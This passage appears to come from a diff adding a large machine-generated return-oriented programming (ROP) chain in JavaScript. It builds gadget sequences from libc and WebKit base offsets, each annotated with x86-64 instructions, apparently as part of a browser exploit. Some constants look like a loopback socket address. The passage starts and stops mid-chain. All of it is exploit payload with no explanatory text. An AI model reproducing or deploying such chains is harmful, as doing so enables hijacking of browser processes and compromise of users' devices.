-0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+175320, //L2637 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+175304, //L2638 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2638: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2637: +db([0, 0]); // 0x0 +//L2626: +set_gadget(libc_base+768796,); //pop rax +//L2639: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2641: +ropchain+224616, //L2640 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2643: +ropchain+175488, //L2642 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+188528, //L2644 +//L2642: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+175560, //L2645 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2645: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2646: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2647: +db([1, 0]); // 0x1 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796 //pop rax +]); +//L2648: +db([2, 0]); // 0x2 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2650: +ropchain+175776, //L2649 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+189856, //L2651 +//L2649: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+175864, //L2653 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2652: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+772328,); //pop rcx +//L2653: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +//L2655: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+175968, //L2658 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2657: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2658: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +//L2659: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+176064, //L2662 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2661: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2662: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+176136, //L2664 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2663: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2664: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+176208, //L2666 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2665: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2666: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+176280, //L2668 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2667: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2668: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+176352, //L2670 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2669: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2670: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+176424, //L2672 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2671: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2672: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+176496, //L2674 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2673: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2674: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+887232, //mov [rax], cl +libc_base+713278, //pop rsi +ropchain+176568, //L2676 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2675: +db([1, 0]); // 0x1 +set_gadget(libc_base+768796,); //pop rax +//L2676: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2677: +db([4294967265, 4294967295]); // -0x1f +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+176664, //L2680 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2679: +db([2, 0]); // 0x2 +set_gadget(libc_base+768796,); //pop rax +//L2680: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+887232, //mov [rax], cl +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2681: +db([4294967266, 4294967295]); // -0x1e +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+176768, //L2684 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +//L2683: +db([15651, 0]); // 0x3d23 +set_gadget(libc_base+165442,); //pop rdi +//L2684: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+524088, //mov [rdi], cx +libc_base+713278, //pop rsi +ropchain+176840, //L2687 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2686: +db([4294967268, 4294967295]); // -0x1c +set_gadget(libc_base+165442,); //pop rdi +//L2687: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+176904, //L2690 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2689: +db([16777343, 0]); // 0x100007f +set_gadget(libc_base+768796,); //pop rax +//L2690: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+176952, //L2691 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2691: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2692: +db([16, 0]); // 0x10 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+177064, //L2694 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2693: +db([4294967264, 4294967295]); // -0x20 +set_gadget(libc_base+768796,); //pop rax +//L2694: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+177168, //L2696 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2695: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+772328,); //pop rcx +//L2696: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+177272, //L2699 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+177256, //L2698 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2698: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2699: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+177432, //L2702 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+177464, //L2704 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+177416, //L2701 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+177448, //L2703 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2701: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2702: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2703: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2704: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+177560, //L2706 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+177544, //L2705 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2705: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2706: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2708: +ropchain+177664, //L2707 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+187200, //L2709 +//L2707: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2710: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L2711: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+177832, //L2714 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+177816, //L2713 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2713: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2714: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+177936, //L2717 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+177952, //L2718 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2716: +db([4294967256, 4294967295]); // -0x28 +set_gadget(libc_base+772328,); //pop rcx +//L2717: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2718: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2720: +db([4294967284, 4294967295]); // -0xc +set_gadget(libc_base+772328,); //pop rcx +//L2721: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+178112, //L2724 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+178096, //L2723 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2723: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2724: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+178272, //L2727 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+178304, //L2729 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+178256, //L2726 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+178288, //L2728 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2726: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2727: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2728: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2729: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+178408, //L2731 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+178424, //L2732 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2730: +db([4294967252, 4294967295]); // -0x2c +set_gadget(libc_base+772328,); //pop rcx +//L2731: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2732: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+713278, //pop rsi +ropchain+178488, //L2735 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2735: +db([0, 0]); // 0x0 +//L2734: +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+178552, //L2738 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2737: +db([4294967252, 4294967295]); // -0x2c +set_gadget(libc_base+772328,); //pop rcx +//L2738: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+178656, //L2741 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+178640, //L2740 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2740: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2741: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+178816, //L2744 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+178848, //L2746 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+178800, //L2743 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+178832, //L2745 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2743: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2744: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2745: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2746: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+178928, //L2747 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+178944, //L2748 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2747: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2748: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+179088, //L2752 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+179104, //L2753 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+179072, //L2751 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2750: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2751: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2752: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2753: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+179216, //L2754+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+179208, //L2754 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L2754: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+179232, //L2754+24 +ropchain+184608, //L2749 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2755: +db([4294967252, 4294967295]); // -0x2c +set_gadget(libc_base+772328,); //pop rcx +//L2756: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+179368, //L2759 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+179352, //L2758 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2758: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2759: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+179528, //L2762 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+179560, //L2764 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+179512, //L2761 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+179544, //L2763 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2761: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2762: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2763: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2764: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+179640, //L2765 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+179656, //L2766 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2765: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2766: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+179752, //L2768 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+179736, //L2767 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2767: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2768: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+179848, //L2770 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2769: +db([4294967256, 4294967295]); // -0x28 +set_gadget(libc_base+772328,); //pop rcx +//L2770: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+179952, //L2773 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+179936, //L2772 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2772: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2773: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+180096, //L2777 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+180064, //L2775 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+180080, //L2776 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2775: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2776: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2777: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+180192, //L2779 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2778: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+772328,); //pop rcx +//L2779: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+180296, //L2782 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+180280, //L2781 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2781: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2782: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+180456, //L2785 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+180488, //L2787 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+180440, //L2784 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+180472, //L2786 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2784: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2785: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2786: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2787: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+180584, //L2789 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+180568, //L2788 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2788: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2789: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+768796, //pop rax +//L2791: +ropchain+180688, //L2790 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+489696, //pop rsp +ropchain+185872, //L2792 +//L2790: +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+180776, //L2794 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2793: +db([4294967248, 4294967295]); // -0x30 +set_gadget(libc_base+772328,); //pop rcx +//L2794: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L2796: +db([4294967248, 4294967295]); // -0x30 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+180920, //L2799 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+180904, //L2798 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L2798: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2799: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+181080, //L2802 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi 